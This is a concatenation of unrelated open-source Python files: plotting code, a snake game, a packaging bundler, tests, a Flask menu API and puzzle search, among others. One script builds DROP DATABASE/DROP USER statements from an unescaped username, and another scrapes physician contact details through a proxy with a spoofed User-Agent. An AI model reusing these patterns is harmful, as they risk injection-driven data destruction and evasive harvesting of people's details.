    \".format(round(val[\"diff\"][idx]))\n if isinstance(val[\"rel\"][idx], float):\n htext += \"Speedup: {0:.2f}\".format(val[\"rel\"][idx])\n hovertext.append(htext)\n traces.append(plgo.Scatter(x=x_vals,\n y=val[\"val\"],\n name=name,\n legendgroup=name,\n mode=\"lines+markers\",\n line=dict(\n color=COLORS[cidx],\n width=2),\n marker=dict(\n symbol=\"circle\",\n size=10\n ),\n text=hovertext,\n hoverinfo=\"text+name\"\n ))\n traces.append(plgo.Scatter(x=x_vals,\n y=val[\"ideal\"],\n name=\"{0} perfect\".format(name),\n legendgroup=name,\n showlegend=False,\n mode=\"lines\",\n line=dict(\n color=COLORS[cidx],\n width=2,\n dash=\"dash\"),\n text=[\"Perfect: {0:.2f}Mpps\".format(y)\n for y in val[\"ideal\"]],\n hoverinfo=\"text\"\n ))\n cidx += 1\n except (IndexError, ValueError, KeyError) as err:\n logging.warning(\"No data for '{0}'\".format(name))\n logging.warning(repr(err))\n\n try:\n # Create plot\n logging.info(\" Writing file '{0}{1}'.\".\n format(plot[\"output-file\"], plot[\"output-file-type\"]))\n layout = deepcopy(plot[\"layout\"])\n if layout.get(\"title\", None):\n layout[\"title\"] = \"Speedup Multi-core: {0}\". \\\n format(layout[\"title\"])\n layout[\"annotations\"].extend(annotations)\n plpl = plgo.Figure(data=traces, layout=layout)\n\n # Export Plot\n ploff.plot(plpl,\n show_link=False, auto_open=False,\n filename='{0}{1}'.format(plot[\"output-file\"],\n plot[\"output-file-type\"]))\n except PlotlyError as err:\n logging.error(\" Finished with error: {}\".\n format(str(err).replace(\"\\n\", \" \")))\n return\n\n\ndef plot_http_server_performance_box(plot, input_data):\n \"\"\"Generate the plot(s) with algorithm: plot_http_server_performance_box\n specified in the specification file.\n\n :param plot: Plot to generate.\n :param input_data: Data to process.\n :type plot: pandas.Series\n :type input_data: InputData\n \"\"\"\n\n # Transform the data\n logging.info(\" Creating the data set for the {0} '{1}'.\".\n format(plot.get(\"type\", \"\"), plot.get(\"title\", \"\")))\n data = input_data.filter_data(plot)\n if data is None:\n logging.error(\"No data.\")\n return\n\n # Prepare the data for the plot\n y_vals = dict()\n for job in data:\n for build in job:\n for test in build:\n if y_vals.get(test[\"name\"], None) is None:\n y_vals[test[\"name\"]] = list()\n try:\n y_vals[test[\"name\"]].append(test[\"result\"])\n except (KeyError, TypeError):\n y_vals[test[\"name\"]].append(None)\n\n # Add None to the lists with missing data\n max_len = 0\n nr_of_samples = list()\n for val in y_vals.values():\n if len(val) > max_len:\n max_len = len(val)\n nr_of_samples.append(len(val))\n for key, val in y_vals.items():\n if len(val) < max_len:\n val.extend([None for _ in range(max_len - len(val))])\n\n # Add plot traces\n traces = list()\n df = pd.DataFrame(y_vals)\n df.head()\n for i, col in enumerate(df.columns):\n name = \"{nr}. ({samples:02d} run{plural}) {name}\".\\\n format(nr=(i + 1),\n samples=nr_of_samples[i],\n plural='s' if nr_of_samples[i] > 1 else '',\n name=col.lower().replace('-ndrpdr', ''))\n if len(name) > 50:\n name_lst = name.split('-')\n name = \"\"\n split_name = True\n for segment in name_lst:\n if (len(name) + len(segment) + 1) > 50 and split_name:\n name += \"
    \"\n split_name = False\n name += segment + '-'\n name = name[:-1]\n\n traces.append(plgo.Box(x=[str(i + 1) + '.'] * len(df[col]),\n y=df[col],\n name=name,\n **plot[\"traces\"]))\n try:\n # Create plot\n plpl = plgo.Figure(data=traces, layout=plot[\"layout\"])\n\n # Export Plot\n logging.info(\" Writing file '{0}{1}'.\".\n format(plot[\"output-file\"], plot[\"output-file-type\"]))\n ploff.plot(plpl, show_link=False, auto_open=False,\n filename='{0}{1}'.format(plot[\"output-file\"],\n plot[\"output-file-type\"]))\n except PlotlyError as err:\n logging.error(\" Finished with error: {}\".\n format(str(err).replace(\"\\n\", \" \")))\n return\n","repo_name":"preym17/csit","sub_path":"resources/tools/presentation_new/generator_plots.py","file_name":"generator_plots.py","file_ext":"py","file_size_in_byte":31169,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"1282899904","text":"import pygame, random, os\nfrom apple import Apple\nfrom snake import Snake\nfrom game import Game\n\npygame.init()\npygame.font.init()\nfont = pygame.font.SysFont('dejavuserif', 22, True, True)\n(width, height) = (600, 630)\n(s_width, s_height) = (30, 30)\n\nscreen = pygame.display.set_mode((width, height))\npygame.display.set_caption('Snake Game')\n\ngame_over = False\nwait = False\n\nclock = pygame.time.Clock()\nmove_offset = 30\n\nsnake = Snake()\napple = Apple()\ngame = Game()\nFPS = 10\napple_collected = False\napple.spawn()\ndirection = [0, 0]\n\napple_sprite = pygame.sprite.Group()\napple_sprite.add(apple)\n\nif not game.render_welcome_view(screen, snake):\n pygame.quit()\n exit()\n\nwhile not game_over:\n\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n pygame.quit()\n exit()\n\n elif event.type == pygame.KEYDOWN:\n if event.key == pygame.K_ESCAPE:\n game_over = True\n\n if event.key == pygame.K_p:\n wait = True\n\n if event.key == pygame.K_UP and direction != [0, move_offset]: # equalise Y\n direction = [0, -move_offset]\n\n elif event.key == pygame.K_DOWN and direction != [0, -move_offset]: # equalise Y\n direction = [0, move_offset]\n\n elif event.key == pygame.K_LEFT and direction != [move_offset, 0]: # equalise X\n direction = [-move_offset, 0]\n\n elif event.key == pygame.K_RIGHT and direction != [-move_offset, 0]: # equalise X\n direction = [move_offset, 0]\n\n\n text = font.render('Score: {0}'.format(str(snake.score)), False, (0, 0, 0), (255, 255, 255))\n\n apple_collected = apple.is_apple_collected(snake.rect[0].x, snake.rect[0].y)\n\n if apple_collected:\n apple.spawn()\n if snake.is_field_busy(1, apple.rect.center[0], apple.rect.center[1]):\n apple.spawn()\n snake.increase()\n\n snake.move(direction)\n\n screen.fill((0, 0, 0))\n game.draw_white_rect(screen)\n screen.blit(text, (0, 0))\n apple_sprite.update()\n apple_sprite.draw(screen)\n snake.draw(screen)\n\n game.draw_frame(screen)\n pygame.display.flip()\n clock.tick(FPS)\n\n if snake.is_outside_frame():\n game_over = True\n\n if wait:\n if game.wait():\n game_over = True\n else:\n wait = False\n clock.tick(FPS)\n\n if snake.is_collision():\n game_over = True\n\n if game_over:\n game.board.update_leaderboard(snake.score, screen)\n if game.render_exit_view(screen, snake.score):\n game_over = False\n snake = Snake()\n game.render_welcome_view(screen,snake)\n direction = [0, 0]\n\npygame.quit()\n","repo_name":"kajtuszd/snake-game","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2728,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"35852165221","text":"import os\nimport sys\nimport platform\nimport logging\nimport shutil\nimport zipfile\n\nfrom .cache import ItemCache, ModuleCache\nfrom .bundler_unit import BundlerUnit\nfrom .file_utils import copy_file_if_newer, mkdir\nfrom .modules import ModuleDescriptor\nfrom .dllcache import DLLCache\nfrom .logger import logger_helper, logger\n\n\ndef get_pyver():\n temp = platform.python_version().split('.')\n pyver = \"%s%s\" % (temp[0], temp[1])\n return pyver\n\n\nclass Bundler(object):\n def __init__(self, dirname, logging_level=logging.INFO):\n self.dirname = dirname\n self.setLevel(logging_level)\n self.lib_dir = os.path.join(dirname, \"packages\")\n self.pyd_dir = os.path.join(dirname, \"extensions\")\n self.dll_dir = os.path.join(dirname, \"DLLs\")\n self.descriptors = {}\n self.platform = sys.platform\n self.pyver = get_pyver()\n self.descriptor_cache = ItemCache()\n self.module_cache = ModuleCache()\n self.dll_cache = DLLCache()\n self.dll_cache.add_all_python()\n \n self.units = {}\n \n # register some basic modules\n from .modules import descriptors\n self.register(descriptors)\n\n def add_dll_search_path(self, path):\n self.dll_cache.add_path(path)\n\n def create_python_unit(self, is_compress=False, is_freeze=False, name=\"python\"):\n # core bundler, unique\n # is_compress should not be False\n python_unit = self.create_unit(name, is_compress=is_compress)\n python_unit.add_dependency('python')\n if is_freeze:\n python_unit.add_dependency('hook')\n python_unit.add_dependency('runpy')\n python_unit.add_dependency('pkgutil')\n python_unit.add_dependency('datetime')\n return python_unit\n\n def setLevel(self, level):\n logger.setLevel(level)\n \n def __getitem__(self, name):\n return self.get_unit(name)\n \n def copy_python_dll(self):\n mkdir(self.dirname)\n if platform.system() == \"Windows\":\n name = 'python' + self.pyver + '.dll'\n source = os.path.join(sys.prefix, name)\n dest = os.path.join(self.dirname, name)\n else:\n name = 'python' + self.pyver + '.so'\n source = os.path.join(sys.prefix, name)\n dest = os.path.join(self.dirname, name)\n copy_file_if_newer(source, dest)\n \n def register(self, descriptors):\n if isinstance(descriptors, ModuleDescriptor):\n self.descriptors[descriptors.name] = descriptors\n return\n for des in descriptors:\n if des.name in self.descriptors:\n raise Exception(f\"Descriptor '{des.name}' has existed\")\n self.descriptors[des.name] = des\n\n def create_unit(self, name, is_compress=False, is_source=False):\n if name in self.units:\n raise Exception('bundler unit %s has exists' % name)\n\n unit = BundlerUnit(name, self, \n is_compress = is_compress, \n is_source = is_source,\n file_dir = self.dirname,\n lib_dir = self.lib_dir, \n dll_dir = self.dll_dir,\n pyd_dir = self.pyd_dir)\n self.units[name] = unit\n return unit\n\n def get_unit(self, name):\n unit = self.units.get(name, None)\n if unit is None:\n raise Exception(\"bundler_unit '%s' not exists\" % name)\n return unit\n\n def try_get_descriptor(self, name):\n des = self.descriptors.get(name, None)\n return des\n\n def bundle(self, name, is_compress = None, \n is_source = None, \n is_clear = False):\n unit = self.get_unit(name)\n unit.bundle(is_compress = is_compress,\n is_source = is_source)\n\n def _bundle_all(self, is_compress=None, \n is_source=None):\n dll_missing = []\n for unit in self.units.values():\n unit._bundle(is_compress = is_compress, \n is_source = is_source)\n dll_missing.extend(unit.dll_missing)\n return dll_missing\n\n def bundle_all(self, is_compress=None, \n is_source=None):\n from io import StringIO\n stream = StringIO()\n logger_helper.add_stream_handler(name=\"err\", stream=stream, \n fstr=None, level=logging.ERROR)\n dll_missing = self._bundle_all(is_compress=is_compress, is_source=is_source)\n print(\"-------------------Errors-------------------\")\n print(stream.getvalue())\n if dll_missing:\n logger.error(f\"dlls {','.join(dll_missing)} not found\")\n logger.error(f\"dll search paths: \\n{self.dll_cache.search_path}\")\n logger_helper.remove_handler(\"err\")\n\n def build_zipfile(self, file_name):\n print(f'build zipfile {file_name} ...')\n if os.path.exists(file_name):\n os.remove(file_name)\n root = os.path.dirname(self.dirname)\n with zipfile.ZipFile(file_name, 'w') as target:\n target.write(self.dirname, os.path.basename(self.dirname))\n for cur_root, cur_dirs, cur_files in os.walk(self.dirname):\n for dir in cur_dirs:\n full_path = os.path.join(cur_root, dir)\n rel_path = os.path.relpath(full_path, root)\n target.write(full_path, rel_path)\n for file in cur_files:\n full_path = os.path.join(cur_root, file)\n rel_path = os.path.relpath(full_path, root)\n target.write(full_path, rel_path)\n\n def get_package_dependency(self, name):\n '''\n For debug usage\n It cannot be used for big package, such as numpy\n egg file is not supported.\n '''\n from modulefinder import ModuleFinder\n finder = ModuleFinder()\n mod = __import__(name)\n finder.run_script(mod.__file__) \n package_names = set()\n for name in finder.modules:\n package_name = name.split('.')[0]\n if package_name not in self.module_cache.modules:\n package_names.add(package_name)\n return package_names\n\n\nclass UpdateBundler(Bundler):\n def __init__(self, dirname, logging_level=logging.INFO):\n dirname = os.path.join(dirname, \"update\")\n if os.path.exists(dirname):\n shutil.rmtree(dirname)\n super(UpdateBundler, self).__init__(dirname, logging_level=logging_level)\n self.file_unit = self.create_unit('__file_unit__', is_compress = False)\n\n def create_unit_by_package(self, package, is_compress=False, is_source=False):\n unit = self.create_unit(package, \n is_compress=is_compress,\n is_source = is_source)\n unit.add_package(package)\n unit.clear_package()\n return unit\n \n def add_path(self, path, dest=None, ignore=['__pycache__'], \n is_compile=None, is_override=False, unit_name=None):\n if unit_name is None:\n unit = self.file_unit\n else:\n unit = self.get_unit(unit_name)\n unit.add_path(path, dest=dest, ignore=ignore, \n is_compile=is_compile, is_override=is_override)\n\n def build_update_zipfile(self, version=None):\n if version:\n version = f\"-{version}\"\n else:\n version =\"\"\n file_name = os.path.join(self.dirname, f\"../update{version}.zip\")\n self.build_zipfile(file_name)\n\n\ndef print_left_dependencies(package_name):\n '''\n a function to help find module dependencies for its descriptor definition.\n Usage:\n Define an empty descriptor\n then call this function, to obtain all the dependencies\n paste all the statement under the descriptor function.\n '''\n bundler = Bundler('')\n unit = bundler.create_unit(package_name)\n unit.add_dependency(package_name)\n buildins = []\n dependencies = []\n for mod in bundler.get_package_dependency(package_name):\n try:\n __import__(mod).__file__\n dependencies.append(mod)\n except:\n buildins.append(mod)\n \n print('buildins: ')\n print(\",\".join([\"'{0}'\".format(mod) for mod in buildins]))\n print(\"--------\")\n print('dummy_threading left dependencies, %d:' % len(dependencies))\n for mod in dependencies:\n print(\" des.add_dependency('{0}')\".format(mod))\n","repo_name":"yagweb/PyRun","sub_path":"embedpy/bundler.py","file_name":"bundler.py","file_ext":"py","file_size_in_byte":8558,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"16863788641","text":"# external\nimport attr\n\n\n@attr.s()\nclass EntryPoint:\n name = attr.ib(type=str)\n path = attr.ib(type=str)\n\n extras = attr.ib(type=tuple, default=tuple())\n group = attr.ib(type=str, default='console_scripts')\n\n @classmethod\n def parse(cls, text: str, group: str = 'console_scripts') -> 'EntryPoint':\n name, path = text.split('=', maxsplit=1)\n name = name.strip()\n path = path.strip()\n if '[' not in path:\n return cls(name=name, path=path, group=group)\n path, extras = path.rstrip(']').split('[', maxsplit=1)\n return cls(name=name, path=path, group=group, extras=extras.split(','))\n\n def __str__(self) -> str:\n result = '{} = {}'.format(self.name, self.path)\n if self.extras:\n result += '[{}]'.format(', '.join(self.extras))\n return result\n","repo_name":"dephell/dephell","sub_path":"dephell/models/entrypoint.py","file_name":"entrypoint.py","file_ext":"py","file_size_in_byte":843,"program_lang":"python","lang":"en","doc_type":"code","stars":1758,"dataset":"github-code","pt":"48"} +{"seq_id":"3240956283","text":"import sys\n\n# Takes Second Adhoc values as domain\n# command should be python3 or python deleteSql.py [username] > deletesql.sql\n\nusername = sys.argv[1]\ndatabase = username + '_db'\ndelete=f\"\"\"DROP DATABASE IF EXISTS {database};\nDROP USER IF EXISTS {username};\nFLUSH PRIVILEGES;\nexit\"\"\"\n\nprint(delete)\n","repo_name":"ultra-hash/Web-Hosting-Platform","sub_path":"templates/deleteSql.py","file_name":"deleteSql.py","file_ext":"py","file_size_in_byte":300,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"30203953394","text":"from unittest.mock import patch\n\nimport pytest\nfrom legal_api.models import Business\n\nfrom entity_emailer.email_processors import registration_notification\nfrom tests.unit import prep_registration_filing\n\n\n@pytest.mark.parametrize('status,legal_type', [\n ('PAID', Business.LegalTypes.SOLE_PROP.value),\n ('COMPLETED', Business.LegalTypes.SOLE_PROP.value),\n ('PAID', Business.LegalTypes.PARTNERSHIP.value),\n ('COMPLETED', Business.LegalTypes.PARTNERSHIP.value),\n])\ndef test_registration_notification(app, session, status, legal_type):\n \"\"\"Assert that the legal name is changed.\"\"\"\n # setup filing + business for email\n legal_name = 'test business'\n filing = prep_registration_filing(session, 'FM1234567', '1', status, legal_type, legal_name)\n token = 'token'\n # test processor\n with patch.object(registration_notification, '_get_pdfs', return_value=[]) as mock_get_pdfs:\n email = registration_notification.process(\n {'filingId': filing.id, 'type': 'registration', 'option': status}, token)\n if status == 'PAID':\n assert email['content']['subject'] == legal_name + ' - Confirmation of Filing from the Business Registry'\n else:\n assert email['content']['subject'] == \\\n legal_name + ' - Registration Documents from the Business Registry'\n\n assert 'joe@email.com' in email['recipients']\n if status == 'COMPLETED':\n assert 'no_one@never.get' in email['recipients']\n if legal_type == Business.LegalTypes.PARTNERSHIP.value:\n assert 'party@email.com' in email['recipients']\n\n assert email['content']['body']\n assert email['content']['attachments'] == []\n assert mock_get_pdfs.call_args[0][0] == status\n assert mock_get_pdfs.call_args[0][1] == token\n if status == 'COMPLETED':\n assert mock_get_pdfs.call_args[0][2]['identifier'] == 'FM1234567'\n assert mock_get_pdfs.call_args[0][3] == filing\n","repo_name":"bcgov/lear","sub_path":"queue_services/entity-emailer/tests/unit/email_processors/test_registration_notification.py","file_name":"test_registration_notification.py","file_ext":"py","file_size_in_byte":1988,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"48"} +{"seq_id":"28704315973","text":"import os\n\nfile_path = os.path.join('data', 'matches.txt')\nf = dict()\nwith open(file_path) as i:\n counter = 0\n for l in i:\n if counter == 0:\n counter += 1\n continue\n line = l.strip().split('\\t')\n if line[1] not in f.keys():\n f[line[1]] = 1\n else:\n f[line[1]] += 1\n if line[2] not in f.keys():\n f[line[2]] = 1\n else:\n f[line[2]] += 1\nprint(sorted(f.items(), key=lambda item : item[1], reverse=True)[0])\n","repo_name":"andreabruera/diffi","sub_path":"count_reps.py","file_name":"count_reps.py","file_ext":"py","file_size_in_byte":516,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"38790885311","text":"from django.conf.urls import url\nfrom . import views\n\n\n\nurlpatterns = [\n url('^$', views.welcome, name='welcome'),\n url('^day/$', views.display_image, name='Today'),\n url(r'^photo/(\\d+)', views.single_photo, name='singlePhoto'),\n url(r'^all/$', views.all_images, name='allImages'),\n url(r'^search/', views.search_results, name='search_results')\n]\n","repo_name":"yareyaska/my-gellery","sub_path":"display/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":362,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"72362809427","text":"#!/usr/local/bin/python3\n\nimport json, os, pandas, re, requests\nfrom lxml import html\n\nproxy = {'https': os.getenv('httpproxy')}\nheaders = {\"Host\": \"www.webmd.com\", \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0\", \"Accept\": \"application/json, text/plain, */*\", \"Origin\": \"https://doctor.webmd.com\", \"Referer\": \"https://doctor.webmd.com/\"}\n\npersons = []\n\ndef search(params): \n req = requests.get(\"https://www.webmd.com/search/2/api/lhd_v_search\", params=params, headers=headers, proxies=proxy)\n dat = json.loads(req.text)\n for man in dat['data']['response']:\n assn = [json.loads(i) for i in man['location_nimvs'] if i]\n addr = assn[0]\n phone = addr['LocationPhone']\n address = '%s, %s, %s, %s, %s' % (addr['PracticeName'], addr['address'], addr['city'], addr['state'], addr['zipcode'])\n person = {'Physician Name': man['fullname'], 'Specialty': man['specialty_consumername_mvs'][0], 'Phone': phone, 'Address': address, 'LocationId': addr['LocationId'], \"LocationEntityId\": addr[\"LocationEntityId\"]} \n persons.append(person) \n with open('datadump.txt', 'a') as p:\n p.write(\"%s,\\n\" % person)\n print('writing: %s' % person)\n\n \nfor start in range(0, 36, 10):\n params = {\"sortby\": \"bestmatch\", \"distance\": 161, \"newpatient\": \"\", \"minrating\":0, \"start\": start, \"q\": \"Physical Medicine and Rehabilitation\", \"pt\": \"39.1836,-96.5716\", \"specialtyid\":29309, \"insuranceid\": \"\"}\n search(params)\n\n# search range(0, 75, 10): params = {\"sortby\": \"bestmatch\", \"distance\": 40, \"newpatient\": \"\", \"minrating\":0, \"start\": start, \"q\": \"Neurologist\", \"pt\": \"30.6739,-88.089\", \"specialtyid\": 29282, \"insuranceid\": \"\"}\n# search range(0, 67, 10): params = {\"sortby\": \"bestmatch\", \"distance\": 161, \"newpatient\": \"\", \"minrating\":0, \"start\": start, \"q\": \"Physical Medicine & Rehabilitation\", \"pt\": \"30.6739,-88.089\", \"specialtyid\":29309, \"insuranceid\": \"\"}\n\npandas.read_json(json.dumps(persons)).to_excel(\"datadump_physical_medicine_and_rehabilitation_mahattan.xlsx\", index=False)\n","repo_name":"potential-octo-parakeet/upwork","sub_path":"physicans.py","file_name":"physicans.py","file_ext":"py","file_size_in_byte":2073,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"43820162964","text":"import json\r\nimport logging\r\nimport re\r\nfrom datetime import datetime, timedelta\r\nfrom typing import List\r\n\r\n\"\"\"\r\n从官网复制带有标题的完整通知,如 http://www.gov.cn/fuwu/2022-12/08/content_5730853.htm\r\n国务院办公厅关于2023年部分节假日安排的通知\r\n各省、自治区、直辖市人民政府,国务院各部委、各直属机构:\r\n\r\n经国务院批准,现将2023年元旦、春节、清明节、劳动节、端午节、中秋节和国庆节放假调休日期的具体安排通知如下。\r\n\r\n一、元旦:2022年12月31日至2023年1月2日放假调休,共3天。\r\n\r\n二、春节:1月21日至27日放假调休,共7天。1月28日(星期六)、1月29日(星期日)上班。\r\n\r\n三、清明节:4月5日放假,共1天。\r\n\r\n四、劳动节:4月29日至5月3日放假调休,共5天。4月23日(星期日)、5月6日(星期六)上班。\r\n\r\n五、端午节:6月22日至24日放假调休,共3天。6月25日(星期日)上班。\r\n\r\n六、中秋节、国庆节:9月29日至10月6日放假调休,共8天。10月7日(星期六)、10月8日(星期日)上班。\r\n\r\n节假日期间,各地区、各部门要妥善安排好值班和安全、保卫、疫情防控等工作,遇有重大突发事件,要按规定及时报告并妥善处置,确保人民群众祥和平安度过节日假期。\r\n\r\n国务院办公厅\r\n2022年12月8日\r\n\"\"\"\r\n\r\n\r\ndef get_input() -> str:\r\n text = \"\"\r\n\r\n while True:\r\n try:\r\n t = input()\r\n except EOFError:\r\n break\r\n text += t + \"\\n\"\r\n return text\r\n\r\n\r\ndef get_dates_between(start_date, end_date) -> List[str]:\r\n # 将开始日期和结束日期转换为 datetime 对象\r\n start_date = datetime.strptime(start_date, '%Y-%m-%d')\r\n end_date = datetime.strptime(end_date, '%Y-%m-%d')\r\n\r\n # 创建一个空列表,用于存储日期\r\n dates = []\r\n\r\n # 当前日期\r\n current_date = start_date\r\n\r\n # 遍历所有日期\r\n while current_date <= end_date:\r\n # 将日期转换为字符串,并添加到列表中\r\n dates.append(current_date.strftime('%Y-%m-%d'))\r\n current_date += timedelta(days=1)\r\n\r\n # 返回日期列表\r\n return dates\r\n\r\n\r\ndef main():\r\n text = get_input()\r\n matches = re.search(r\"(\\d{4}).*节假日安排的通知\", text)\r\n year = 0\r\n if not matches:\r\n logging.error(\"无法从通知提取放假年份\")\r\n else:\r\n year = int(matches.group(1))\r\n\r\n holiday_text_list = []\r\n results = {}\r\n for line in text.split(\"\\n\"):\r\n if re.search(r\"共\\d{1,2}天\", line):\r\n holiday_name_re = re.search(r\"、(.*):\", line)\r\n holiday_name = holiday_name_re.group(1)\r\n\r\n t = line.split(\"放假\")\r\n holiday_text = t[0]\r\n make_up_text = t[1] if len(t) > 1 else \"\"\r\n\r\n if holiday_text.find(\"至\") == -1:\r\n # 放假一天\r\n holiday_re = re.search(r\"(\\d+)月(\\d+)日\", holiday_text)\r\n results[f\"{year}-{int(holiday_re.group(1)):02d}-{int(holiday_re.group(2)):02d}\"] = {\r\n \"type\": \"假日\",\r\n \"note\": holiday_name\r\n }\r\n else:\r\n # 放假多天\r\n holiday_re = re.search(r\"(\\d+)月(\\d+)日至.*?(\\d+)日\", holiday_text)\r\n start_year = end_year = year\r\n start_month = end_month = int(holiday_re.group(1))\r\n start_day = int(holiday_re.group(2))\r\n end_day = int(holiday_re.group(3))\r\n if start_day > end_day:\r\n # 跨月份\r\n end_month = (end_month + 1) % 12\r\n if start_month > end_month:\r\n # 跨年份\r\n start_year -= 1\r\n for date in get_dates_between(f\"{start_year}-{start_month}-{start_day}\",\r\n f\"{end_year}-{end_month}-{end_day}\"):\r\n results[date] = {\r\n \"type\": \"假日\",\r\n \"note\": holiday_name\r\n }\r\n if make_up_text.find(\"上班\") != -1:\r\n for match in re.finditer(r\"(\\d+)月(\\d+)日\", make_up_text):\r\n results[f\"{year}-{int(match.group(1)):02d}-{int(match.group(2)):02d}\"] = {\r\n \"type\": \"补班日\",\r\n \"note\": holiday_name + \"补班\"\r\n }\r\n with open(f\"holiday_{year}.json\", \"w+\", encoding=\"utf8\") as output_file:\r\n output_file.write(json.dumps(results, ensure_ascii=False, indent=2))\r\n\r\n\r\nif __name__ == '__main__':\r\n main()\r\n","repo_name":"Dreace/ChinaHolidayAPI","sub_path":"export_holiday.py","file_name":"export_holiday.py","file_ext":"py","file_size_in_byte":4710,"program_lang":"python","lang":"zh","doc_type":"code","stars":5,"dataset":"github-code","pt":"48"} +{"seq_id":"38308245364","text":"# NLP100本ノック\r\n# \r\n# 15. 末尾のN行を出力\r\n# 自然数Nをコマンドライン引数などの手段で受け取り,\r\n# 入力のうち末尾のN行だけを表示せよ.\r\n# 確認にはtailコマンドを用いよ.\r\n\r\nprint(\"行数:\")\r\nN = int(input())\r\n\r\nwith open(\"hightemp.txt\", \"r\", encoding=\"utf-8\") as f:\r\n lines = f.readlines()\r\n\r\nfor i in range(N):\r\n print(lines[-N+i])","repo_name":"JaChaika/NLP100","sub_path":"02/nlp015.py","file_name":"nlp015.py","file_ext":"py","file_size_in_byte":403,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"35806935480","text":"from State import State\r\nfrom queue import PriorityQueue\r\nfrom queue import Queue\r\nfrom queue import LifoQueue\r\n\r\n\r\n#Depth-first Search with limited depth\r\n\r\n#Depth-first Search not heuristic function \r\ndef DFS(given_state , n): \r\n root = State(given_state, None, None, 0, 0, n)\r\n if root.test():\r\n return root.solution()\r\n frontier = LifoQueue()\r\n frontier.put(root)\r\n explored = []\r\n check_ = False\r\n while not(frontier.empty()):\r\n current_node = frontier.get()\r\n max_depth = current_node.depth #current depth\r\n explored.append(current_node.state) \r\n if max_depth == 40:\r\n continue #go to the next branch\r\n\r\n children = current_node.expand(n)\r\n for child in children:\r\n if child.state not in explored:\r\n if child.test():\r\n check_ = True\r\n return child.solution(),child.current_state(), len(explored), check_\r\n frontier.put(child)\r\n return ((\"Couldn't find solution in the limited depth.\"),0,len(explored),check_)\r\n\r\n#Best-first Search has heuristic function \r\n# def BFS(given_state , n):\r\n# frontier = PriorityQueue()\r\n# explored = [] \r\n# counter = 0\r\n# root = State(given_state, None, None, 0, 0, n)\r\n# evaluation = root.Manhattan_Distance(n) \r\n# frontier.put((evaluation, counter, root)) #based on bestFS evaluation\r\n\r\n# while not frontier.empty():\r\n# current_node = frontier.get()\r\n# current_node = current_node[2]\r\n# explored.append(current_node.state)\r\n \r\n# if current_node.test():\r\n# return current_node.solution(),current_node.current_state(), len(explored)\r\n\r\n# children = current_node.expand(n)\r\n# for child in children:\r\n# if child.state not in explored:\r\n# counter += 1\r\n# evaluation = child.Manhattan_Distance(n) \r\n# frontier.put((evaluation, counter, child)) #based on bestFS evaluation\r\n# return\r\n\r\n","repo_name":"JstD/AI_Basic_Search","sub_path":"NPuzzle/Search_Algorithms.py","file_name":"Search_Algorithms.py","file_ext":"py","file_size_in_byte":2044,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"23081067276","text":"from flask import jsonify, request\nfrom flask_restful import Resource\n\nfrom model.menu import MenuModel\nfrom schema.menu import MenuSchema\n\n\nclass MenuResource(Resource):\n def get(self):\n error_msg = {'message': \"The /URL is not available\"}\n return jsonify(result=error_msg,\n status=404,\n error={})\n\n def post(self):\n data_json = request.get_json() # incoming json request \n if not data_json:\n return jsonify(result={},\n status=400.,\n error={'message': 'No input data provide'})\n else:\n menu = MenuSchema(many=True).load(data_json)\n if menu.errors:\n return jsonify(result={},\n status=500,\n error=menu.errors)\n else:\n for item in menu.data:\n item = MenuModel(\n name=item['name'],\n description=item['description'],\n image=item['image'],\n price=item['price'],\n detail=item['detail']\n )\n try:\n item.save_to_db()\n except Exception as err:\n return jsonify(result={},\n status=505.,\n error={'message': 'Internal error {}'.format(err.args)})\n\n return jsonify(result=menu.data,\n status=200,\n error={})\n\n\nclass MenuItem(Resource):\n def post(self):\n data_json = request.get_json() # incoming json request\n menu = MenuSchema(many=True).load(data_json)\n if menu.errors:\n return jsonify(result={},\n status=500,\n error=menu.errors)\n else:\n menu = menu.data\n for item in menu:\n menu_item = MenuModel.search_menu(name=item['name'])\n if menu_item:\n return jsonify(result=MenuSchema(many=True).dump(menu_item).data,\n status=200,\n error={})\n else:\n error_msg = {'message': 'not found menu name'.format(menu)}\n return jsonify(result={},\n status=404,\n error=error_msg)\n\n\nclass MenuListing(Resource):\n def get(self):\n items = MenuModel.search_all()\n return jsonify(result=MenuSchema(many=True).dump(items).data,\n status=200,\n error={})\n\n\nclass MenuKeywordMatching(Resource):\n @staticmethod\n def merge_text(txtdict):\n text = ''\n for k, v in txtdict.items():\n text = text + ' ' + str(v)\n return text\n\n def get(self, keyword):\n keyword = str(keyword)\n menu_all = MenuSchema(many=True).dump(MenuModel.search_all()).data\n menu_keyword = {}\n match, result = [], []\n for item in menu_all:\n menu_keyword[item['name']] = MenuKeywordMatching.merge_text(item)\n\n for k, v in menu_keyword.items():\n if keyword in v:\n match.append(k)\n\n for item in match:\n menu_item = MenuModel.search_menu(name=item)\n result.append(menu_item[0])\n\n if result:\n return jsonify(result=MenuSchema(many=True).dump(result).data,\n status=200,\n error={})\n else:\n error_msg = {'message': 'not found menu by keyword'.format(keyword)}\n return jsonify(result={},\n status=404,\n error=error_msg)\n","repo_name":"Oceanfish52/assignment_restaurant","sub_path":"resource/menu.py","file_name":"menu.py","file_ext":"py","file_size_in_byte":3904,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"13059429380","text":"import torch\nimport numpy as np\nimport lmdb\nfrom PIL 